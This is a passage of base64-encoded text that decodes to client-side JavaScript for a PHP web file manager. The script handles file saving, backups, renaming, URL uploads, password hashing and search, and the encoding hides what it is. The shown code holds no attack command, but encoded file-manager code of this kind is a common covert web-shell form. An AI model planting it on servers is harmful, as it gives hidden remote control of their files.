k7CiAgICAgICAgICAgICAgICAgICAgY3Vyc29yID0gbWF0Y2guaW5kZXggKyBtYXRjaFswXS5sZW5ndGgKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGFkZChodG1sLnN1YnN0cihjdXJzb3IsIGh0bWwubGVuZ3RoIC0gY3Vyc29yKSk7CiAgICAgICAgICAgICAgICBjb2RlICs9ICdyZXR1cm4gci5qb2luKCIiKTsnOwogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBGdW5jdGlvbihjb2RlLnJlcGxhY2UoL1tcclx0XG5dL2csICcnKSkuYXBwbHkob3B0aW9ucykKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZnVuY3Rpb24gcmVuYW1lKGUsIHQpIHsKICAgICAgICAgICAgICAgIGlmICh0KSB7CiAgICAgICAgICAgICAgICAgICAgJCgiI2pzLXJlbmFtZS1mcm9tIikudmFsKHQpOwogICAgICAgICAgICAgICAgICAgICQoIiNqcy1yZW5hbWUtdG8iKS52YWwodCk7CiAgICAgICAgICAgICAgICAgICAgJCgiI3JlbmFtZURpYWxvZyIpLm1vZGFsKCdzaG93Jyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIGNoYW5nZV9jaGVja2JveGVzKGUsIHQpIHsKICAgICAgICAgICAgICAgIGZvciAodmFyIG4gPSBlLmxlbmd0aCAtIDE7IG4gPj0gMDsgbi0tKSBlW25dLmNoZWNrZWQgPSAiYm9vbGVhbiIgPT0gdHlwZW9mIHQgPyB0IDogIWVbbl0uY2hlY2tlZAogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBnZXRfY2hlY2tib3hlcygpIHsKICAgICAgICAgICAgICAgIGZvciAodmFyIGUgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgiZmlsZVtdIiksIHQgPSBbXSwgbiA9IGUubGVuZ3RoIC0gMTsgbiA+PSAwOyBuLS0pKGVbbl0udHlwZSA9ICJjaGVja2JveCIpICYmIHQucHVzaChlW25dKTsKICAgICAgICAgICAgICAgIHJldHVybiB0CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIHNlbGVjdF9hbGwoKSB7CiAgICAgICAgICAgICAgICBjaGFuZ2VfY2hlY2tib3hlcyhnZXRfY2hlY2tib3hlcygpLCAhMCkKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZnVuY3Rpb24gdW5zZWxlY3RfYWxsKCkgewogICAgICAgICAgICAgICAgY2hhbmdlX2NoZWNrYm94ZXMoZ2V0X2NoZWNrYm94ZXMoKSwgITEpCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIGludmVydF9hbGwoKSB7CiAgICAgICAgICAgICAgICBjaGFuZ2VfY2hlY2tib3hlcyhnZXRfY2hlY2tib3hlcygpKQogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBjaGVja2JveF90b2dnbGUoKSB7CiAgICAgICAgICAgICAgICB2YXIgZSA9IGdldF9jaGVja2JveGVzKCk7CiAgICAgICAgICAgICAgICBlLnB1c2godGhpcyksIGNoYW5nZV9jaGVja2JveGVzKGUpCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIENyZWF0ZSBmaWxlIGJhY2t1cCB3aXRoIC5iY2sKICAgICAgICAgICAgZnVuY3Rpb24gYmFja3VwKGUsIHQpIHsKICAgICAgICAgICAgICAgIHZhciBuID0gbmV3IFhNTEh0dHBSZXF1ZXN0LAogICAgICAgICAgICAgICAgICAgIGEgPSAicGF0aD0iICsgZSArICImZmlsZT0iICsgdCArICImdG9rZW49IiArIHdpbmRvdy5jc3JmICsgIiZ0eXBlPWJhY2t1cCZhamF4PXRydWUiOwogICAgICAgICAgICAgICAgcmV0dXJuIG4ub3BlbigiUE9TVCIsICIiLCAhMCksIG4uc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC10eXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpLCBuLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgICAgIDQgPT0gbi5yZWFkeVN0YXRlICYmIDIwMCA9PSBuLnN0YXR1cyAmJiB0b2FzdChuLnJlc3BvbnNlVGV4dCkKICAgICAgICAgICAgICAgIH0sIG4uc2VuZChhKSwgITEKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gVG9hc3QgbWVzc2FnZQogICAgICAgICAgICBmdW5jdGlvbiB0b2FzdCh0eHQpIHsKICAgICAgICAgICAgICAgIHZhciB4ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNuYWNrYmFyIik7CiAgICAgICAgICAgICAgICB4LmlubmVySFRNTCA9IHR4dDsKICAgICAgICAgICAgICAgIHguY2xhc3NOYW1lID0gInNob3ciOwogICAgICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICB4LmNsYXNzTmFtZSA9IHguY2xhc3NOYW1lLnJlcGxhY2UoInNob3ciLCAiIik7CiAgICAgICAgICAgICAgICB9LCAzMDAwKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gU2F2ZSBmaWxlCiAgICAgICAgICAgIGZ1bmN0aW9uIGVkaXRfc2F2ZShlLCB0KSB7CiAgICAgICAgICAgICAgICB2YXIgbiA9ICJhY2UiID09IHQgPyBlZGl0b3IuZ2V0U2Vzc2lvbigpLmdldFZhbHVlKCkgOiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgibm9ybWFsLWVkaXRvciIpLnZhbHVlOwogICAgICAgICAgICAgICAgaWYgKHR5cGVvZiBuICE9PSAndW5kZWZpbmVkJyAmJiBuICE9PSBudWxsKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKHRydWUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGRhdGEgPSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhamF4OiB0cnVlLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudDogbiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHR5cGU6ICdzYXZlJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRva2VuOiB3aW5kb3cuY3NyZgogICAgICAgICAgICAgICAgICAgICAgICB9OwoKICAgICAgICAgICAgICAgICAgICAgICAgJC5hamF4KHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHR5cGU6ICJQT1NUIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVybDogd2luZG93LmxvY2F0aW9uLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgZGF0YTogSlNPTi5zdHJpbmdpZnkoZGF0YSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250ZW50VHlwZTogImFwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9dXRmLTgiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24obWVzKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdG9hc3QoIjw/cGhwIGVjaG8gbG5nKCJTYXZlZCBTdWNjZXNzZnVsbHkiKTsgPz4iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cub25iZWZvcmV1bmxvYWQgPSBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZhaWx1cmU6IGZ1bmN0aW9uKG1lcykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KCI8P3BocCBlY2hvIGxuZygiRXJyb3I6IHRyeSBhZ2FpbiIpOyA/PiIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yOiBmdW5jdGlvbihtZXMpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChgPHAgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6cmVkIj4ke21lcy5yZXNwb25zZVRleHR9PC9wPmApOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImZvcm0iKTsKICAgICAgICAgICAgICAgICAgICAgICAgYS5zZXRBdHRyaWJ1dGUoIm1ldGhvZCIsICJQT1NUIiksIGEuc2V0QXR0cmlidXRlKCJhY3Rpb24iLCAiIik7CiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBvID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgidGV4dGFyZWEiKTsKICAgICAgICAgICAgICAgICAgICAgICAgby5zZXRBdHRyaWJ1dGUoInR5cGUiLCAidGV4dGFyZWEiKSwgby5zZXRBdHRyaWJ1dGUoIm5hbWUiLCAic2F2ZWRhdGEiKTsKICAgICAgICAgICAgICAgICAgICAgICAgbGV0IGN4ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW5wdXQiKTsKICAgICAgICAgICAgICAgICAgICAgICAgY3guc2V0QXR0cmlidXRlKCJ0eXBlIiwgImhpZGRlbiIpOwogICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoIm5hbWUiLCAidG9rZW4iKTsKICAgICAgICAgICAgICAgICAgICAgICAgY3guc2V0QXR0cmlidXRlKCJ2YWx1ZSIsIHdpbmRvdy5jc3JmKTsKICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGMgPSBkb2N1bWVudC5jcmVhdGVUZXh0Tm9kZShuKTsKICAgICAgICAgICAgICAgICAgICAgICAgby5hcHBlbmRDaGlsZChjKSwgYS5hcHBlbmRDaGlsZChvKSwgYS5hcHBlbmRDaGlsZChjeCksIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSksIGEuc3VibWl0KCkKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIHNob3dfbmV3X3B3ZCgpIHsKICAgICAgICAgICAgICAgICQoIi5qcy1uZXctcHdkIikudG9nZ2xlQ2xhc3MoJ2hpZGRlbicpOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBTYXZlIFNldHRpbmdzCiAgICAgICAgICAgIGZ1bmN0aW9uIHNhdmVfc2V0dGluZ3MoJHRoaXMpIHsKICAgICAgICAgICAgICAgIGxldCBmb3JtID0gJCgkdGhpcyk7CiAgICAgICAgICAgICAgICAkLmFqYXgoewogICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksCiAgICAgICAgICAgICAgICAgICAgdXJsOiBmb3JtLmF0dHIoJ2FjdGlvbicpLAogICAgICAgICAgICAgICAgICAgIGRhdGE6IGZvcm0uc2VyaWFsaXplKCkgKyAiJnRva2VuPSIgKyB3aW5kb3cuY3NyZiArICImYWpheD0iICsgdHJ1ZSwKICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChkYXRhKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24ucmVsb2FkKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy9DcmVhdGUgbmV3IHBhc3N3b3JkIGhhc2gKICAgICAgICAgICAgZnVuY3Rpb24gbmV3X3Bhc3N3b3JkX2hhc2goJHRoaXMpIHsKICAgICAgICAgICAgICAgIGxldCBmb3JtID0gJCgkdGhpcyksCiAgICAgICAgICAgICAgICAgICAgJHB3ZCA9ICQoIiNqcy1wd2QtcmVzdWx0Iik7CiAgICAgICAgICAgICAgICAkcHdkLnZhbCgnJyk7CiAgICAgICAgICAgICAgICAkLmFqYXgoewogICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksCiAgICAgICAgICAgICAgICAgICAgdXJsOiBmb3JtLmF0dHIoJ2FjdGlvbicpLAogICAgICAgICAgICAgICAgICAgIGRhdGE6IGZvcm0uc2VyaWFsaXplKCkgKyAiJnRva2VuPSIgKyB3aW5kb3cuY3NyZiArICImYWpheD0iICsgdHJ1ZSwKICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChkYXRhKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcHdkLnZhbChkYXRhKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBVcGxvYWQgZmlsZXMgdXNpbmcgVVJMIEBwYXJhbSB7T2JqZWN0fQogICAgICAgICAgICBmdW5jdGlvbiB1cGxvYWRfZnJvbV91cmwoJHRoaXMpIHsKICAgICAgICAgICAgICAgIGxldCBmb3JtID0gJCgkdGhpcyksCiAgICAgICAgICAgICAgICAgICAgcmVzdWx0V3JhcHBlciA9ICQoImRpdiNqcy11cmwtdXBsb2FkX19saXN0Iik7CiAgICAgICAgICAgICAgICAkLmFqYXgoewogICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksCiAgICAgICAgICAgICAgICAgICAgdXJsOiBmb3JtLmF0dHIoJ2FjdGlvbicpLAogICAgICAgICAgICAgICAgICAgIGRhdGE6IGZvcm0uc2VyaWFsaXplKCkgKyAiJnRva2VuPSIgKyB3aW5kb3cuY3NyZiArICImYWpheD0iICsgdHJ1ZSwKICAgICAgICAgICAgICAgICAgICBiZWZvcmVTZW5kOiBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKCJpbnB1dFtuYW1lPXVwbG9hZHVybF0iKS5hdHRyKCJkaXNhYmxlZCIsICJkaXNhYmxlZCIpOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoImJ1dHRvbiIpLmhpZGUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKCIubGRzLWZhY2Vib29rIikuYWRkQ2xhc3MoJ3Nob3ctbWUnKTsKICAgICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAgIHN1Y2Nlc3M6IGZ1bmN0aW9uKGRhdGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEuZG9uZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc3VsdFdyYXBwZXIuYXBwZW5kKCc8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1zdWNjZXNzIHJvdyI+PD9waHAgZWNobyBsbmcoIlVwbG9hZGVkIFN1Y2Nlc3NmdWwiKTsgPz46ICcgKyBkYXRhLmRvbmUubmFtZSArICc8L2Rpdj4nKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoImlucHV0W25hbWU9dXBsb2FkdXJsXSIpLnZhbCgnJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGRhdGFbJ2ZhaWwnXSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc3VsdFdyYXBwZXIuYXBwZW5kKCc8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1kYW5nZXIgcm93Ij48P3BocCBlY2hvIGxuZygiRXJyb3IiKTsgPz46ICcgKyBkYXRhLmZhaWwubWVzc2FnZSArICc8L2Rpdj4nKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZCgiaW5wdXRbbmFtZT11cGxvYWR1cmxdIikucmVtb3ZlQXR0cigiZGlzYWJsZWQiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZCgiYnV0dG9uIikuc2hvdygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKCIubGRzLWZhY2Vib29rIikucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICAgICAgZXJyb3I6IGZ1bmN0aW9uKHhocikgewogICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoImlucHV0W25hbWU9dXBsb2FkdXJsXSIpLnJlbW92ZUF0dHIoImRpc2FibGVkIik7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZCgiYnV0dG9uIikuc2hvdygpOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoIi5sZHMtZmFjZWJvb2siKS5yZW1vdmVDbGFzcygnc2hvdy1tZScpOwogICAgICAgICAgICAgICAgICAgICAgICBjb25zb2xlLmVycm9yKHhocik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIFNlYXJjaCB0ZW1wbGF0ZQogICAgICAgICAgICBmdW5jdGlvbiBzZWFyY2hfdGVtcGxhdGUoZGF0YSkgewogICAgICAgICAgICAgICAgdmFyIHJlc3BvbnNlID0gIiI7CiAgICAgICAgICAgICAgICAkLmVhY2goZGF0YSwgZnVuY3Rpb24oa2V5LCB2YWwpIHsKICAgICAgICAgICAgICAgICAgICByZXNwb25zZSArPSBgPGxpPjxhIGhyZWY9Ij9wPSR7dmFsLnBhdGh9JnZpZXc9JHt2YWwubmFtZX0iPiR7dmFsLnBhdGh9LyR7dmFsLm5hbWV9PC9hPjwvbGk+YDsKICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgcmV0dXJuIHJlc3BvbnNlOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBBZHZhbmNlIHNlYXJjaAogICAgICAgICAgICBmdW5jdGlvbiBmbV9zZWFyY2goKSB7CiAgICAgICAgICAgICAgICB2YXIgc2VhcmNoVHh0ID0gJCgiaW5wdXQjYWR2YW5jZWQtc2VhcmNoIikudmFsKCksCiAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlciA9ICQoInVsI3NlYXJjaC13cmFwcGVyIiksCiAgICAgICAgICAgICAgICAgICAgcGF0aCA9ICQoIiNqcy1zZWFyY2gtbW9kYWwiKS5hdHRyKCJocmVmIiksCiAgICAgICAgICAgICAgICAgICAgX2h0bWwgPSAiIiwKICAgICAgICAgICAgICAgICAgICAkbG9hZGVyID0gJCgiZGl2Lmxkcy1mYWNlYm9vayIpOwogICAgICAgICAgICAgICAgaWYgKCEhc2VhcmNoVHh0ICYmIHNlYXJjaFR4dC5sZW5ndGggPiAyICYmIHBhdGgpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgZGF0YSA9IHsKICAgICAgICAgICAgICAgICAgICAgICAgYWpheDogdHJ1ZSwKICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudDogc2VhcmNoVHh0LAogICAgICAgICAgICAgICAgICAgICAgICBwYXRoOiBwYXRoLAogICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2VhcmNoJywKICAgICAgICAgICAgICAgICAgICAgICAgdG9rZW46IHdpbmRvdy5jc3JmCiAgICAgICAgICAgICAgICAgICAgfTsKICAgICAgICAgICAgICAgICAgICAkLmFqYXgoewogICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAiUE9TVCIsCiAgICAgICAgICAgICAgICAgICAgICAgIHVybDogd2luZG93LmxvY2F0aW9uLAogICAgICAgICAgICAgICAgICAgICAgICBkYXRhOiBkYXRhLAogICAgICAgICAgICAgICAgICAgICAgICBiZWZvcmVTZW5kOiBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNlYXJjaFdyYXBwZXIuaHRtbCgnJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLmFkZENsYXNzKCdzaG93LW1lJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICAgICAgICAgIHN1Y2Nlc3M6IGZ1bmN0aW9uKGRhdGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsb2FkZXIucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEgJiYgZGF0YS5sZW5ndGgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBfaHRtbCA9IHNlYXJjaF90ZW1wbGF0ZShkYXRhKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoX2h0bWwpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoJzxwIGNsYXNzPSJtLTIiPjw/cGhwIGVjaG8gbG5nKCJObyByZXN1bHQgZm91bmQhIik7ID8+PHA+Jyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yOiBmdW5jdGlvbih4aHIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsb2FkZXIucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNlYXJjaFdyYXBwZXIuaHRtbCgnPHAgY2xhc3M9Im0tMiI+PD9waHAgZWNobyBsbmcoIkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhIik7ID8+PC9wPicpOwogICAgICAgICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsb2FkZXIucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNlYXJjaFdyYXBwZXIuaHRtbCgnPHAgY2xhc3M9Im0tMiI+PD9waHAgZWNobyBsbmcoIkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhIik7ID8+PC9wPicpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIHNlYXJjaFdyYXBwZXIuaHRtbCgiPD9waHAgZWNobyBsbmcoIk9PUFM6IG1pbmltdW0gMyBjaGFyYWN0ZXJzIHJlcXVpcmVkISIpOyA/PiIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBhY3Rpb24gY29uZmlybSBkaWFsb2cgbW9kYWwKICAgICAgICAgICAgZnVuY3Rpb24gY29uZmlybURpYWxvZyhlLCBpZCA9IDAsIHRpdGxlID0gIkFjdGlvbiIsIGNvbnRlbnQgPSAiIiwgYWN0aW9uID0gbnVsbCkgewogICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICAgICAgY29uc3QgdHBsT2JqID0gewogICAgICAgICAgICAgICAgICAgIGlkLAogICAgICAgICAgICAgICAgICAgIHRpdGxlLAogICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IGRlY29kZVVSSUNvbXBvbmVudChjb250ZW50LnJlcGxhY2UoL1wrL2csICcgJykpLAogICAgICAgICAgICAgICAgICAgIGFjdGlvbgogICAgICAgICAgICAgICAgfTsKICAgICAgICAgICAgICAgIGxldCB0cGwgPSAkKCIjanMtdHBsLWNvbmZpcm0iKS5odG1sKCk7CiAgICAgICAgICAgICAgICAkKCIubW9kYWwuY29uZmlybURpYWxvZyIpLnJlbW92ZSgpOwogICAgICAgICAgICAgICAgJCgnI3dyYXBwZXInKS5hcHBlbmQodGVtcGxhdGUodHBsLCB0cGxPYmopKTsKICAgICAgICAgICAgICAgIGNvbnN0ICRjb25maXJtRGlhbG9nID0gJCgiI2NvbmZpcm1EaWFsb2ctIiArIHRwbE9iai5pZCk7CiAgICAgICAgICAgICAgICAkY29uZmlybURpYWxvZy5tb2RhbCgnc2hvdycpOwogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBvbiBtb3VzZSBob3ZlciBpbWFnZSBwcmV2aWV3CiAgICAgICAgICAgICEgZnVuY3Rpb24ocykgewogICAgICAgICAgICAgICAgcy5wcmV2aWV3SW1hZ2UgPSBmdW5jdGlvbihlKSB7CiAgICAgICAgICAgICAgICAgICAgdmFyIG8gPSBzKGRvY3VtZW50KSwKICAgICAgICAgICAgICAgICAgICAgICAgdCA9ICIucHJldmlld0ltYWdlIiwKICAgICAgICAgICAgICAgICAgICAgICAgYSA9IHMuZXh0ZW5kKHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhPZmZzZXQ6IDIwLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgeU9mZnNldDogLTIwLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgZmFkZUluOiAiZmFzdCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjc3M6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAiNXB4IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXI6ICIxcHggc29saWQgI2NjY2NjYyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImJhY2tncm91bmQtY29sb3IiOiAiI2ZmZiIKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBldmVudFNlbGVjdG9yOiAiW2RhdGEtcHJldmlldy1pbWFnZV0iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgZGF0YUtleTogInByZXZpZXdJbWFnZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvdmVybGF5SWQ6ICJwcmV2aWV3LWltYWdlLXBsdWdpbi1vdmVybGF5IgogICAgICAgICAgICAgICAgICAgICAgICB9LCBlKTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gby5vZmYodCksIG8ub24oIm1vdXNlb3ZlciIgKyB0LCBhLmV2ZW50U2VsZWN0b3IsIGZ1bmN0aW9uKGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcygicCMiICsgYS5vdmVybGF5SWQpLnJlbW92ZSgpOwogICAgICAgICAgICAgICAgICAgICAgICB2YXIgbyA9IHMoIjxwPiIpLmF0dHIoImlkIiwgYS5vdmVybGF5SWQpLmNzcygicG9zaXRpb24iLCAiYWJzb2x1dGUiKS5jc3MoImRpc3BsYXkiLCAibm9uZSIpLmFwcGVuZChzKCc8aW1nIGNsYXNzPSJjLXByZXZpZXctaW1nIj4nKS5hdHRyKCJzcmMiLCBzKHRoaXMpLmRhdGEoYS5kYXRhS2V5KSkpOwogICAgICAgICAgICAgICAgICAgICAgICBhLmNzcyAmJiBvLmNzcyhhLmNzcyksIHMoImJvZHkiKS5hcHBlbmQobyksIG8uY3NzKCJ0b3AiLCBlLnBhZ2VZICsgYS55T2Zmc2V0ICsgInB4IikuY3NzKCJsZWZ0IiwgZS5wYWdlWCArIGEueE9mZnNldCArICJweCIpLmZhZGVJbihhLmZhZGVJbikKICAgICAgICAgICAgICAgICAgICB9KSwgby5vbigibW91c2VvdXQiICsgdCwgYS5ldmVudFNlbGVjdG9yLCBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcygiIyIgKyBhLm92ZXJsYXlJZCkucmVtb3ZlKCkKICAgICAgICAgICAgICAgICAgICB9KSwgby5vbigibW91c2Vtb3ZlIiArIHQsIGEuZXZlbnRTZWxlY3RvciwgZnVuY3Rpb24oZSkgewogICAgICAgICAgICAgICAgICAgICAgICBzKCIjIiArIGEub3ZlcmxheUlkKS5jc3MoInRvcCIsIGUucGFnZVkgKyBhLnlPZmZzZXQgKyAicHgiKS5jc3MoImxlZnQiLCBlLnBhZ2VYICsgYS54T2Zmc2V0ICsgInB4IikKICAgICAgICAgICAgICAgICAgICB9KSwgdGhpcwogICAgICAgICAgICAgICAgfSwgcy5wcmV2aWV3SW1hZ2UoKQogICAgICAgICAgICB9KGpRdWVyeSk7CgogICAgICAgICAgICAvLyBEb20gUmVhZHk